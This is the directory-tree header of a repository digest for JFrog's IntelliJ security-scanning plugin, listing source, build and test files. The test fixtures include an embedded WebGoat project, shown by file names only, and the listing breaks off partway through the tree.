Repository: jfrog/jfrog-idea-plugin Branch: master Commit: e9d2b9d85584 Files: 635 Total size: 1.6 MB Directory structure: gitextract_05909tqq/ ├── .github/ │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.md │ │ ├── feature_request.md │ │ └── question.md │ ├── PULL_REQUEST_TEMPLATE.md │ ├── release.yml │ └── workflows/ │ ├── cla.yml │ ├── frogbot-scan-pull-request.yml │ ├── integration-tests.yml │ ├── test.yml │ └── verification.yml ├── .gitignore ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── build.gradle ├── gradle/ │ └── wrapper/ │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradle.properties ├── gradlew ├── gradlew.bat ├── release/ │ ├── pipelines.release.yml │ ├── pipelines.resources.yml │ ├── pipelines.snapshot.yml │ └── specs/ │ ├── dev-rbc-filespec.json │ └── prod-rbc-filespec.json ├── settings.gradle └── src/ ├── main/ │ ├── java/ │ │ └── com/ │ │ └── jfrog/ │ │ └── ide/ │ │ └── idea/ │ │ ├── Syncable.java │ │ ├── actions/ │ │ │ ├── CollapseAllAction.java │ │ │ ├── CreateIgnoreRuleAction.java │ │ │ ├── ExpandAllAction.java │ │ │ ├── GoToSettingsAction.java │ │ │ ├── RefreshBuildsAction.java │ │ │ ├── ScanTimeLabelAction.java │ │ │ ├── StartLocalScanAction.java │ │ │ └── StopLocalScanAction.java │ │ ├── ci/ │ │ │ └── CiManager.java │ │ ├── configuration/ │ │ │ ├── GlobalSettings.java │ │ │ └── ServerConfigImpl.java │ │ ├── events/ │ │ │ ├── AnnotationEvents.java │ │ │ ├── ApplicationEvents.java │ │ │ ├── BuildEvents.java │ │ │ └── ProjectEvents.java │ │ ├── exclusion/ │ │ │ ├── Excludable.java │ │ │ ├── ExclusionUtils.java │ │ │ └── MavenExclusion.java │ │ ├── inspections/ │ │ │ ├── AbstractInspection.java │ │ │ ├── AnnotationIconRenderer.java │ │ │ ├── AnnotationUtils.java │ │ │ ├── GoInspection.java │ │ │ ├── GradleGroovyInspection.java │ │ │ ├── GradleInspection.java │ │ │ ├── GradleKotlinInspection.java │ │ │ ├── JFrogSecurityAnnotator.java │ │ │ ├── JFrogSecurityWarning.java │ │ │ ├── JumpToCode.java │ │ │ ├── MavenInspection.java │ │ │ ├── NpmInspection.java │ │ │ ├── ShowInDependencyTree.java │ │ │ ├── YarnInspection.java │ │ │ └── upgradeversion/ │ │ │ ├── GoUpgradeVersion.java │ │ │ ├── GradleGroovyUpgradeVersion.java │ │ │ ├── GradleKotlinUpgradeVersion.java │ │ │ ├── MavenUpgradeVersion.java │ │ │ ├── NpmUpgradeVersion.java │ │ │ ├── UpgradeVersion.java │ │ │ └── YarnUpgradeVersion.java │ │ ├── log/ │ │ │ ├── Logger.java │ │ │ └── ProgressIndicatorImpl.java │ │ ├── navigation/ │ │ │ ├── NavigationService.java │ │ │ └── NavigationTarget.java │ │ ├── scan/ │ │ │ ├── ApplicabilityScannerExecutor.java │ │ │ ├── GoScanner.java │ │ │ ├── GradleScanner.java │ │ │ ├── IACScannerExecutor.java │ │ │ ├── MavenScanner.java │ │ │ ├── NpmScanner.java │ │ │ ├── PypiScanner.java │ │ │ ├── SastScannerExecutor.java │ │ │ ├── ScanBinaryExecutor.java │ │ │ ├── ScanManager.java │ │ │ ├── ScannerBase.java │ │ │ ├── ScannerFactory.java │ │ │ ├── SecretsScannerExecutor.java │ │ │ ├── SingleDescriptorScanner.java │ │ │ ├── SourceCodeScannerManager.java │ │ │ ├── YarnScanner.java │ │ │ ├── data/ │ │ │ │ ├── AnalyzeSuppression.java │ │ │ │ ├── ArtifactLocation.java │ │ │ │ ├── CodeFlow.java │ │ │ │ ├── Driver.java │ │ │ │ ├── Invocation.java │ │ │ │ ├── Location.java │ │ │ │ ├── Message.java │ │ │ │ ├── NewScanConfig.java │ │ │ │ ├── NewScansConfig.java │ │ │ │ ├── Output.java │ │ │ │ ├── PackageManagerType.java │ │ │ │ ├── PhysicalLocation.java │ │ │ │ ├── Region.java │ │ │ │ ├── Rule.java │ │ │ │ ├── RuleProperties.java │ │ │ │ ├── Run.java │ │ │ │ ├── SarifResult.java │ │ │ │ ├── ScanConfig.java │ │ │ │ ├── ScansConfig.java │ │ │ │ ├── ThreadFlow.java │ │ │ │ ├── ThreadFlowLocation.java │ │ │ │ ├── Tool.java │ │ │ │ ├── WorkingDirectory.java │ │ │ │ └── applications/ │ │ │ │ ├── JFrogApplicationsConfig.java │ │ │ │ ├── ModuleConfig.java │ │ │ │ └── ScannerConfig.java │ │ │ └── utils/ │ │ │ ├── ImpactTreeBuilder.java │ │ │ └── ScanUtils.java │ │ ├── ui/ │ │ │ ├── AbstractJFrogToolWindow.java │ │ │ ├── CiComponentsTree.java │ │ │ ├── ComponentDetails.java │ │ │ ├── ComponentIssueDetails.java │ │ │ ├── ComponentIssuesTable.java │ │ │ ├── ComponentsTree.java │ │ │ ├── ComponentsTreeCellRenderer.java │ │ │ ├── ExpiredComponentsTreeCellRenderer.java │ │ │ ├── IssueDetails.java │ │ │ ├── IssuesTableCellRenderer.java │ │ │ ├── IssuesTableModel.java │ │ │ ├── IssuesTableSelectionListener.java │ │ │ ├── JFrogCiToolWindow.java │ │ │ ├── JFrogFloatingToolbar.java │ │ │ ├── JFrogLocalToolWindow.java │ │ │ ├── JFrogToolWindow.java │ │ │ ├── JFrogToolWindowFactory.java │ │ │ ├── JfrogContextMenuHandler.java │ │ │ ├── LocalComponentsTree.java │ │ │ ├── MoreInfoPanel.java │ │ │ ├── components/ │ │ │ │ ├── ConnectionResultsGesture.java │ │ │ │ ├── ImpactPathPane.java │ │ │ │ ├── LinkButton.java │ │ │ │ ├── MenuButton.java │ │ │ │ ├── ReferencesPane.java │ │ │ │ └── TitledPane.java │ │ │ ├── configuration/ │ │ │ │ ├── BuildsVerifier.java │ │ │ │ ├── ConfigVerificationUtils.java │ │ │ │ ├── ConnectionRetriesSpinner.java │ │ │ │ ├── ConnectionTimeoutSpinner.java │ │ │ │ ├── JFrogGlobalConfiguration.form │ │ │ │ ├── JFrogGlobalConfiguration.java │ │ │ │ ├── JFrogProjectConfiguration.form │ │ │ │ ├── JFrogProjectConfiguration.java │ │ │ │ └── Utils.java │ │ │ ├── menus/ │ │ │ │ ├── MenuCheckbox.java │ │ │ │ ├── SelectAllCheckbox.java │ │ │ │ ├── SelectionCheckbox.java │ │ │ │ ├── ToolbarPopupMenu.java │ │ │ │ ├── builds/ │ │ │ │ │ ├── BuildsButton.java │ │ │ │ │ └── BuildsMenu.java │ │ │ │ ├── filtermanager/ │ │ │ │ │ ├── CiFilterManager.java │ │ │ │ │ └── ConsistentFilterManager.java │ │ │ │ └── filtermenu/ │ │ │ │ ├── CiIssueFilterMenu.java │ │ │ │ ├── CiLicenseFilterMenu.java │ │ │ │ ├── CiScopeFilterMenu.java │ │ │ │ ├── FilterMenu.java │ │ │ │ ├── IssueFilterMenu.java │ │ │ │ ├── LicenseFilterMenu.java │ │ │ │ └── ScopeFilterMenu.java │ │ │ ├── utils/ │ │ │ │ ├── ComponentUtils.java │ │ │ │ └── IconUtils.java │ │ │ └── webview/ │ │ │ ├── WebviewManager.java │ │ │ ├── WebviewObjectConverter.java │ │ │ ├── WebviewResourceHandler.java │ │ │ ├── WebviewSchemeHandlerFactory.java │ │ │ ├── event/ │ │ │ │ ├── EventManager.java │ │ │ │ ├── Receiver.java │ │ │ │ ├── Sender.java │ │ │ │ ├── model/ │ │ │ │ │ ├── Event.java │ │ │ │ │ ├── IdeEvent.java │ │ │ │ │ └── WebviewEvent.java │ │ │ │ └── tasks/ │ │ │ │ └── JumpToCodeTask.java │ │ │ └── model/ │ │ │ ├── ApplicableDetails.java │ │ │ ├── Cve.java │ │ │ ├── DependencyPage.java │ │ │ ├── Evidence.java │ │ │ ├── ExtendedInformation.java │ │ │ ├── Finding.java │ │ │ ├── ImpactGraph.java │ │ │ ├── ImpactGraphNode.java │ │ │ ├── IssuePage.java │ │ │ ├── JfrogResearchSeverityReason.java │ │ │ ├── License.java │ │ │ ├── Location.java │ │ │ ├── Reference.java │ │ │ └── SastIssuePage.java │ │ └── utils/ │ │ ├── Descriptor.java │ │ ├── GoUtils.java │ │ └── Utils.java │ └── resources/ │ └── META-INF/ │ ├── plugin.xml │ ├── with-go.xml │ ├── with-gradle.xml │ ├── with-groovy.xml │ ├── with-kotlin.xml │ ├── with-maven.xml │ ├── with-python-ce.xml │ └── with-python.xml └── test/ ├── java/ │ └── com/ │ └── jfrog/ │ └── ide/ │ └── idea/ │ ├── ProgressIndicatorMock.java │ ├── TestUtils.java │ ├── configuration/ │ │ ├── ConfigurationTest.java │ │ ├── ConnectionDetailsFromCliTest.java │ │ └── GetProxyConfForTargetUrlTest.java │ ├── exclusion/ │ │ └── MavenExclusionTest.java │ ├── inspections/ │ │ ├── GoInspectionTest.java │ │ ├── GradleGroovyInspectionTest.java │ │ ├── GradleInspectionTest.java │ │ ├── GradleKotlinInspectionTest.java │ │ ├── InspectionToolsTest.java │ │ ├── InspectionsTestBase.java │ │ ├── MavenInspectionTest.java │ │ └── NpmInspectionTest.java │ ├── integration/ │ │ ├── ApplicabilityScannerIntegrationTests.java │ │ ├── BaseIntegrationTest.java │ │ ├── ExternalResourcesRepoIntegrationTests.java │ │ ├── IACScannerIntegrationTests.java │ │ └── SecretsScannerIntegrationTests.java │ ├── scan/ │ │ ├── DummyCircularDepPyPkgManager.java │ │ ├── DummyCircularRequirement.java │ │ ├── GradleScannerTest.java │ │ ├── MavenScannerTest.java │ │ ├── PypiScannerTest.java │ │ ├── ScanBinaryExecutorTest.java │ │ ├── ScannerBaseTest.java │ │ ├── SingleDescriptorScannerTest.java │ │ ├── SourceCodeManagerTest.java │ │ ├── YarnScannerTest.java │ │ └── utils/ │ │ └── ImpactTreeBuilderTest.java │ └── ui/ │ ├── LocalComponentsTreeTest.java │ └── configuration/ │ ├── ConfigVerificationUtilsNegativeTest.java │ └── ConfigVerificationUtilsPositiveTest.java └── resources/ ├── exclusion/ │ └── pom.xml ├── gradle/ │ ├── global/ │ │ ├── api/ │ │ │ ├── build.gradle │ │ │ └── src/ │ │ │ └── main/ │ │ │ └── java/ │ │ │ └── org/ │ │ │ └── gradle/ │ │ │ ├── api/ │ │ │ │ ├── PersonList.java │ │ │ │ └── package.html │ │ │ └── apiImpl/ │ │ │ └── Impl.java │ │ ├── build.gradle │ │ ├── gradle.properties │ │ ├── services/ │ │ │ ├── build/ │ │ │ │ └── moduleInfo.json │ │ │ └── webservice/ │ │ │ ├── build.gradle │ │ │ └── src/ │ │ │ ├── main/ │ │ │ │ └── java/ │ │ │ │ └── org/ │ │ │ │ └── gradle/ │ │ │ │ └── webservice/ │ │ │ │ └── TestTest.java │ │ │ └── test/ │ │ │ └── java/ │ │ │ └── org/ │ │ │ └── gradle/ │ │ │ └── webservice/ │ │ │ └── TestTestTest.java │ │ ├── settings.gradle │ │ └── shared/ │ │ └── src/ │ │ └── main/ │ │ ├── java/ │ │ │ └── org/ │ │ │ └── gradle/ │ │ │ └── shared/ │ │ │ ├── Person.java │ │ │ └── package-info.java │ │ └── resources/ │ │ └── org/ │ │ └── gradle/ │ │ └── shared/ │ │ └── main.properties │ └── wrapper/ │ ├── api/ │ │ ├── build.gradle │ │ └── src/ │ │ └── main/ │ │ └── java/ │ │ └── org/ │ │ └── gradle/ │ │ ├── api/ │ │ │ ├── PersonList.java │ │ │ └── package.html │ │ └── apiImpl/ │ │ └── Impl.java │ ├── build.gradle │ ├── gradle/ │ │ └── wrapper/ │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties │ ├── gradle.properties │ ├── gradlew │ ├── gradlew.bat │ ├── services/ │ │ ├── build/ │ │ │ └── moduleInfo.json │ │ └── webservice/ │ │ ├── build.gradle │ │ └── src/ │ │ ├── main/ │ │ │ └── java/ │ │ │ └── org/ │ │ │ └── gradle/ │ │ │ └── webservice/ │ │ │ └── TestTest.java │ │ └── test/ │ │ └── java/ │ │ └── org/ │ │ └── gradle/ │ │ └── webservice/ │ │ └── TestTestTest.java │ ├── settings.gradle │ └── shared/ │ └── src/ │ └── main/ │ ├── java/ │ │ └── org/ │ │ └── gradle/ │ │ └── shared/ │ │ ├── Person.java │ │ └── package-info.java │ └── resources/ │ └── org/ │ └── gradle/ │ └── shared/ │ └── main.properties ├── iac/ │ └── testProjects/ │ └── exposedIac/ │ ├── hcl/ │ │ └── applicable/ │ │ ├── req_sw_terraform_aws_alb_https_only.tf │ │ ├── req_sw_terraform_aws_api_gateway_auth.tf │ │ ├── req_sw_terraform_aws_api_gateway_encrypt_cache.tf │ │ ├── req_sw_terraform_aws_api_gateway_tls_version.tf │ │ ├── req_sw_terraform_aws_athena_encrypt.tf │ │ ├── req_sw_terraform_aws_athena_encrypt_workgroup.tf │ │ ├── req_sw_terraform_aws_batch_no_privileged.tf │ │ ├── req_sw_terraform_aws_cloudfront_tls_only.tf │ │ ├── req_sw_terraform_aws_cloudfront_tls_version.tf │ │ └── req_sw_terraform_aws_cloudtrail_encrypt.tf │ └── plan/ │ ├── applicable/ │ │ ├── req_sw_terraform_aws_alb_https_only.json │ │ ├── req_sw_terraform_aws_api_gateway_auth.json │ │ ├── req_sw_terraform_aws_api_gateway_encrypt_cache.json │ │ ├── req_sw_terraform_aws_api_gateway_tls_version.json │ │ ├── req_sw_terraform_aws_athena_encrypt.json │ │ ├── req_sw_terraform_aws_athena_encrypt_workgroup.json │ │ ├── req_sw_terraform_aws_batch_no_privileged.json │ │ ├── req_sw_terraform_aws_cloudfront_tls_only.json │ │ ├── req_sw_terraform_aws_cloudfront_tls_version.json │ │ ├── req_sw_terraform_aws_cloudtrail_encrypt.json │ │ ├── req_sw_terraform_aws_cloudtrail_logging.json │ │ ├── req_sw_terraform_aws_cloudwatch_log_encrypt.json │ │ ├── req_sw_terraform_aws_codebuild_encrypt.json │ │ ├── req_sw_terraform_aws_dax_encrypt.json │ │ ├── req_sw_terraform_aws_docdb_encrypt_cluster.json │ │ ├── req_sw_terraform_aws_ebs_encrypt.json │ │ ├── req_sw_terraform_aws_ec2_public_ip.json │ │ ├── req_sw_terraform_aws_ecr_no_public.json │ │ ├── req_sw_terraform_aws_ecs_encrypt_task.json │ │ ├── req_sw_terraform_aws_ecs_envvar_pass.json │ │ ├── req_sw_terraform_aws_efs_encrypt.json │ │ └── req_sw_terraform_aws_eks_encrypt_cluster.json │ └── convert_hcl_to_plan.py ├── inspections/ │ ├── build.gradle.kts │ ├── build.groovy │ ├── go.mod │ ├── package.json │ └── pom.xml ├── projects/ │ ├── project1/ │ │ ├── go.mod │ │ └── main.go │ └── project2/ │ ├── go.mod │ ├── go.sum │ ├── main.go │ └── subproject/ │ ├── go.mod │ ├── go.sum │ └── main.go ├── proxy/ │ └── proxy.pac ├── secrets/ │ └── testProjects/ │ ├── dummy/ │ │ ├── ApplicabilityScannerExecutor.java │ │ ├── build.gradle │ │ ├── index.js │ │ └── main.py │ └── exposedSecrets/ │ ├── req.nodejs.hardcoded-secrets/ │ │ ├── applicable_base64.js │ │ ├── applicable_base64.js.approval.json │ │ ├── applicable_hex.js │ │ ├── applicable_hex.js.approval.json │ │ ├── not_applicable_base64.js │ │ ├── not_applicable_base64.js.approval.json │ │ ├── not_applicable_hex.js │ │ └── not_applicable_hex.js.approval.json │ ├── req.python.hardcoded-secrets/ │ │ ├── applicable_base64.py │ │ ├── applicable_base64.py.approval.json │ │ ├── applicable_hex.py │ │ ├── applicable_hex.py.approval.json │ │ ├── not_applicable_base64.py │ │ ├── not_applicable_base64.py.approval.json │ │ ├── not_applicable_hex.py │ │ └── not_applicable_hex.py.approval.json │ └── req.secret.keys/ │ ├── applicable │ ├── applicable.approval.json │ ├── applicable.c │ ├── applicable.txt │ ├── applicable.txt.approval.json │ ├── not_applicable │ ├── not_applicable.approval.json │ ├── not_applicable.c │ ├── not_applicable.txt │ └── not_applicable.txt.approval.json ├── sourceCode/ │ ├── applicable_kind_pass_output.sarif │ ├── faulty_output.sarif │ ├── secrets_with_informational_output.sarif │ ├── simple_output.sarif │ └── testProjects/ │ ├── maven/ │ │ ├── COPYRIGHT.txt │ │ ├── LICENSE.txt │ │ ├── pom.xml │ │ └── src/ │ │ ├── it/ │ │ │ └── java/ │ │ │ └── org/ │ │ │ └── owasp/ │ │ │ └── webgoat/ │ │ │ ├── AccessControlIntegrationTest.java │ │ │ ├── CSRFIntegrationTest.java │ │ │ ├── ChallengeIntegrationTest.java │ │ │ ├── CryptoIntegrationTest.java │ │ │ ├── DeserializationIntegrationTest.java │ │ │ ├── GeneralLessonIntegrationTest.java │ │ │ ├── IDORIntegrationTest.java │ │ │ ├── IntegrationTest.java │ │ │ ├── JWTLessonIntegrationTest.java │ │ │ ├── LabelAndHintIntegrationTest.java │ │ │ ├── PasswordResetLessonIntegrationTest.java │ │ │ ├── PathTraversalIntegrationTest.java │ │ │ ├── ProgressRaceConditionIntegrationTest.java │ │ │ ├── SSRFIntegrationTest.java │ │ │ ├── SessionManagementIntegrationTest.java │ │ │ ├── SqlInjectionAdvancedIntegrationTest.java │ │ │ ├── SqlInjectionLessonIntegrationTest.java │ │ │ ├── SqlInjectionMitigationIntegrationTest.java │ │ │ ├── WebWolfIntegrationTest.java │ │ │ ├── XSSIntegrationTest.java │ │ │ └── XXEIntegrationTest.java │ │ └── main/ │ │ └── java/ │ │ └── org/ │ │ ├── dummy/ │ │ │ └── insecure/ │ │ │ └── framework/ │ │ │ └── VulnerableTaskHolder.java │ │ └── owasp/ │ │ └── webgoat/ │ │ ├── container/ │ │ │ ├── AjaxAuthenticationEntryPoint.java │ │ │ ├── AsciiDoctorTemplateResolver.java │ │ │ ├── DatabaseConfiguration.java │ │ │ ├── HammerHead.java │ │ │ ├── LessonDataSource.java │ │ │ ├── LessonTemplateResolver.java │ │ │ ├── MvcConfiguration.java │ │ │ ├── WebGoat.java │ │ │ ├── WebSecurityConfig.java │ │ │ ├── WebWolfRedirect.java │ │ │ ├── asciidoc/ │ │ │ │ ├── EnvironmentExposure.java │ │ │ │ ├── OperatingSystemMacro.java │ │ │ │ ├── UsernameMacro.java │ │ │ │ ├── WebGoatTmpDirMacro.java │ │ │ │ ├── WebGoatVersionMacro.java │ │ │ │ ├── WebWolfMacro.java │ │ │ │ └── WebWolfRootMacro.java │ │ │ ├── assignments/ │ │ │ │ ├── AssignmentEndpoint.java │ │ │ │ ├── AssignmentHints.java │ │ │ │ ├── AssignmentPath.java │ │ │ │ ├── AttackResult.java │ │ │ │ └── LessonTrackerInterceptor.java │ │ │ ├── controller/ │ │ │ │ ├── StartLesson.java │ │ │ │ └── Welcome.java │ │ │ ├── i18n/ │ │ │ │ ├── Language.java │ │ │ │ ├── Messages.java │ │ │ │ └── PluginMessages.java │ │ │ ├── lessons/ │ │ │ │ ├── Assignment.java │ │ │ │ ├── Category.java │ │ │ │ ├── CourseConfiguration.java │ │ │ │ ├── Hint.java │ │ │ │ ├── Initializeable.java │ │ │ │ ├── Lesson.java │ │ │ │ ├── LessonConnectionInvocationHandler.java │ │ │ │ ├── LessonInfoModel.java │ │ │ │ ├── LessonMenuItem.java │ │ │ │ ├── LessonMenuItemType.java │ │ │ │ └── LessonScanner.java │ │ │ ├── service/ │ │ │ │ ├── EnvironmentService.java │ │ │ │ ├── HintService.java │ │ │ │ ├── LabelDebugService.java │ │ │ │ ├── LabelService.java │ │ │ │ ├── LessonInfoService.java │ │ │ │ ├── LessonMenuService.java │ │ │ │ ├── LessonProgressService.java │ │ │ │ ├── LessonTitleService.java │ │ │ │ ├── ReportCardService.java │ │ │ │ ├── RestartLessonService.java │ │ │ │ └── SessionService.java │ │ │ ├── session/ │ │ │ │ ├── Course.java │ │ │ │ ├── LabelDebugger.java │ │ │ │ ├── UserSessionData.java │ │ │ │ └── WebSession.java │ │ │ └── users/ │ │ │ ├── LessonTracker.java │ │ │ ├── RegistrationController.java │ │ │ ├── Scoreboard.java │ │ │ ├── UserForm.java │ │ │ ├── UserRepository.java │ │ │ ├── UserService.java │ │ │ ├── UserSession.java │ │ │ ├── UserTracker.java │ │ │ ├── UserTrackerRepository.java │ │ │ ├── UserValidator.java │ │ │ └── WebGoatUser.java │ │ ├── lessons/ │ │ │ ├── authbypass/ │ │ │ │ ├── AccountVerificationHelper.java │ │ │ │ ├── AuthBypass.java │ │ │ │ └── VerifyAccount.java │ │ │ ├── bypassrestrictions/ │ │ │ │ ├── BypassRestrictions.java │ │ │ │ ├── BypassRestrictionsFieldRestrictions.java │ │ │ │ └── BypassRestrictionsFrontendValidation.java │ │ │ ├── challenges/ │ │ │ │ ├── ChallengeIntro.java │ │ │ │ ├── Email.java │ │ │ │ ├── Flag.java │ │ │ │ ├── SolutionConstants.java │ │ │ │ ├── challenge1/ │ │ │ │ │ ├── Assignment1.java │ │ │ │ │ ├── Challenge1.java │ │ │ │ │ └── ImageServlet.java │ │ │ │ ├── challenge5/ │ │ │ │ │ ├── Assignment5.java │ │ │ │ │ └── Challenge5.java │ │ │ │ ├── challenge7/ │ │ │ │ │ ├── Assignment7.java │ │ │ │ │ ├── Challenge7.java │ │ │ │ │ ├── MD5.java │ │ │ │ │ └── PasswordResetLink.java │ │ │ │ └── challenge8/ │ │ │ │ ├── Assignment8.java │ │ │ │ └── Challenge8.java │ │ │ ├── chromedevtools/ │ │ │ │ ├── ChromeDevTools.java │ │ │ │ ├── NetworkDummy.java │ │ │ │ └── NetworkLesson.java │ │ │ ├── cia/ │ │ │ │ ├── CIA.java │ │ │ │ └── CIAQuiz.java │ │ │ ├── clientsidefiltering/ │ │ │ │ ├── ClientSideFiltering.java │ │ │ │ ├── ClientSideFilteringAssignment.java │ │ │ │ ├── ClientSideFilteringFreeAssignment.java │ │ │ │ ├── Salaries.java │ │ │ │ └── ShopEndpoint.java │ │ │ ├── cryptography/ │ │ │ │ ├── CryptoUtil.java │ │ │ │ ├── Cryptography.java │ │ │ │ ├── EncodingAssignment.java │ │ │ │ ├── HashingAssignment.java │ │ │ │ ├── SecureDefaultsAssignment.java │ │ │ │ ├── SigningAssignment.java │ │ │ │ └── XOREncodingAssignment.java │ │ │ ├── csrf/ │ │ │ │ ├── CSRF.java │ │ │ │ ├── CSRFConfirmFlag1.java │ │ │ │ ├── CSRFFeedback.java │ │ │ │ ├── CSRFGetFlag.java │ │ │ │ ├── CSRFLogin.java │ │ │ │ ├── ForgedReviews.java │ │ │ │ └── Review.java │ │ │ ├── deserialization/ │ │ │ │ ├── InsecureDeserialization.java │ │ │ │ ├── InsecureDeserializationTask.java │ │ │ │ └── SerializationHelper.java │ │ │ ├── hijacksession/ │ │ │ │ ├── HijackSession.java │ │ │ │ ├── HijackSessionAssignment.java │ │ │ │ └── cas/ │ │ │ │ ├── Authentication.java │ │ │ │ ├── AuthenticationProvider.java │ │ │ │ └── HijackSessionAuthenticationProvider.java │ │ │ ├── htmltampering/ │ │ │ │ ├── HtmlTampering.java │ │ │ │ └── HtmlTamperingTask.java │ │ │ ├── httpbasics/ │ │ │ │ ├── HttpBasics.java │ │ │ │ ├── HttpBasicsLesson.java │ │ │ │ └── HttpBasicsQuiz.java │ │ │ ├── httpproxies/ │ │ │ │ ├── HttpBasicsInterceptRequest.java │ │ │ │ └── HttpProxies.java │ │ │ ├── idor/ │ │ │ │ ├── IDOR.java │ │ │ │ ├── IDORDiffAttributes.java │ │ │ │ ├── IDOREditOtherProfiile.java │ │ │ │ ├── IDORLogin.java │ │ │ │ ├── IDORViewOtherProfile.java │ │ │ │ ├── IDORViewOwnProfile.java │ │ │ │ ├── IDORViewOwnProfileAltUrl.java │ │ │ │ └── UserProfile.java │ │ │ ├── insecurelogin/ │ │ │ │ ├── InsecureLogin.java │ │ │ │ └── InsecureLoginTask.java │ │ │ ├── jwt/ │ │ │ │ ├── JWT.java │ │ │ │ ├── JWTDecodeEndpoint.java │ │ │ │ ├── JWTFinalEndpoint.java │ │ │ │ ├── JWTQuiz.java │ │ │ │ ├── JWTRefreshEndpoint.java │ │ │ │ ├── JWTSecretKeyEndpoint.java │ │ │ │ ├── JWTVotesEndpoint.java │ │ │ │ └── votes/ │ │ │ │ ├── Views.java │ │ │ │ └── Vote.java │ │ │ ├── lessontemplate/ │ │ │ │ ├── LessonTemplate.java │ │ │ │ └── SampleAttack.java │ │ │ ├── logging/ │ │ │ │ ├── LogBleedingTask.java │ │ │ │ ├── LogSpoofing.java │ │ │ │ └── LogSpoofingTask.java │ │ │ ├── missingac/ │ │ │ │ ├── DisplayUser.java │ │ │ │ ├── MissingAccessControlUserRepository.java │ │ │ │ ├── MissingFunctionAC.java │ │ │ │ ├── MissingFunctionACHiddenMenus.java │ │ │ │ ├── MissingFunctionACUsers.java │ │ │ │ ├── MissingFunctionACYourHash.java │ │ │ │ ├── MissingFunctionACYourHashAdmin.java │ │ │ │ └── User.java │ │ │ ├── passwordreset/ │ │ │ │ ├── PasswordReset.java │ │ │ │ ├── PasswordResetEmail.java │ │ │ │ ├── QuestionsAssignment.java │ │ │ │ ├── ResetLinkAssignment.java │ │ │ │ ├── ResetLinkAssignmentForgotPassword.java │ │ │ │ ├── SecurityQuestionAssignment.java │ │ │ │ ├── SimpleMailAssignment.java │ │ │ │ ├── TriedQuestions.java │ │ │ │ └── resetlink/ │ │ │ │ └── PasswordChangeForm.java │ │ │ ├── pathtraversal/ │ │ │ │ ├── PathTraversal.java │ │ │ │ ├── ProfileUpload.java │ │ │ │ ├── ProfileUploadBase.java │ │ │ │ ├── ProfileUploadFix.java │ │ │ │ ├── ProfileUploadRemoveUserInput.java │ │ │ │ ├── ProfileUploadRetrieval.java │ │ │ │ └── ProfileZipSlip.java │ │ │ ├── securepasswords/ │ │ │ │ ├── SecurePasswords.java │ │ │ │ └── SecurePasswordsAssignment.java │ │ │ ├── spoofcookie/ │ │ │ │ ├── SpoofCookie.java │ │ │ │ ├── SpoofCookieAssignment.java │ │ │ │ └── encoders/ │ │ │ │ └── EncDec.java │ │ │ ├── sqlinjection/ │ │ │ │ ├── advanced/ │ │ │ │ │ ├── SqlInjectionAdvanced.java │ │ │ │ │ ├── SqlInjectionChallenge.java │ │ │ │ │ ├── SqlInjectionChallengeLogin.java │ │ │ │ │ ├── SqlInjectionLesson6a.java │ │ │ │ │ ├── SqlInjectionLesson6b.java │ │ │ │ │ └── SqlInjectionQuiz.java │ │ │ │ ├── introduction/ │ │ │ │ │ ├── SqlInjection.java │ │ │ │ │ ├── SqlInjectionLesson10.java │ │ │ │ │ ├── SqlInjectionLesson2.java │ │ │ │ │ ├── SqlInjectionLesson3.java │ │ │ │ │ ├── SqlInjectionLesson4.java │ │ │ │ │ ├── SqlInjectionLesson5.java │ │ │ │ │ ├── SqlInjectionLesson5a.java │ │ │ │ │ ├── SqlInjectionLesson5b.java │ │ │ │ │ ├── SqlInjectionLesson8.java │ │ │ │ │ └── SqlInjectionLesson9.java │ │ │ │ └── mitigation/ │ │ │ │ ├── Servers.java │ │ │ │ ├── SqlInjectionLesson10a.java │ │ │ │ ├── SqlInjectionLesson10b.java │ │ │ │ ├── SqlInjectionLesson13.java │ │ │ │ ├── SqlInjectionMitigations.java │ │ │ │ ├── SqlOnlyInputValidation.java │ │ │ │ └── SqlOnlyInputValidationOnKeywords.java │ │ │ ├── ssrf/ │ │ │ │ ├── SSRF.java │ │ │ │ ├── SSRFTask1.java │ │ │ │ └── SSRFTask2.java │ │ │ ├── vulnerablecomponents/ │ │ │ │ ├── Contact.java │ │ │ │ ├── ContactImpl.java │ │ │ │ ├── VulnerableComponents.java │ │ │ │ └── VulnerableComponentsLesson.java │ │ │ ├── webgoatintroduction/ │ │ │ │ └── WebGoatIntroduction.java │ │ │ ├── webwolfintroduction/ │ │ │ │ ├── Email.java │ │ │ │ ├── LandingAssignment.java │ │ │ │ ├── MailAssignment.java │ │ │ │ └── WebWolfIntroduction.java │ │ │ ├── xss/ │ │ │ │ ├── Comment.java │ │ │ │ ├── CrossSiteScripting.java │ │ │ │ ├── CrossSiteScriptingLesson1.java │ │ │ │ ├── CrossSiteScriptingLesson3.java │ │ │ │ ├── CrossSiteScriptingLesson4.java │ │ │ │ ├── CrossSiteScriptingLesson5a.java │ │ │ │ ├── CrossSiteScriptingLesson6a.java │ │ │ │ ├── CrossSiteScriptingMitigation.java │ │ │ │ ├── CrossSiteScriptingQuiz.java │ │ │ │ ├── DOMCrossSiteScripting.java │ │ │ │ ├── DOMCrossSiteScriptingVerifier.java │ │ │ │ └── stored/ │ │ │ │ ├── CrossSiteScriptingStored.java │ │ │ │ ├── StoredCrossSiteScriptingVerifier.java │ │ │ │ └── StoredXssComments.java │ │ │ └── xxe/ │ │ │ ├── BlindSendFileAssignment.java │ │ │ ├── Comment.java │ │ │ ├── CommentsCache.java │ │ │ ├── CommentsEndpoint.java │ │ │ ├── ContentTypeAssignment.java │ │ │ ├── Ping.java │ │ │ ├── SimpleXXE.java │ │ │ ├── User.java │ │ │ └── XXE.java │ │ ├── server/ │ │ │ ├── ParentConfig.java │ │ │ ├── StartWebGoat.java │ │ │ └── StartupMessage.java │ │ └── webwolf/ │ │ ├── FileServer.java │ │ ├── MvcConfiguration.java │ │ ├── WebSecurityConfig.java │ │ ├── WebWolf.java │ │ ├── jwt/ │ │ │ ├── JWTController.java │ │ │ └── JWTToken.java │ │ ├── mailbox/ │ │ │ ├── Email.java │ │ │ ├── MailboxController.java │ │ │ └── MailboxRepository.java │ │ ├── requests/ │ │ │ ├── LandingPage.java │ │ │ ├── Requests.java │ │ │ └── WebWolfTraceRepository.java │ │ └── user/ │ │ ├── UserRepository.java │ │ ├── UserService.java │ │ └── WebGoatUser.java │ ├── npm/ │ │ └── index.js │ └── python/ │ 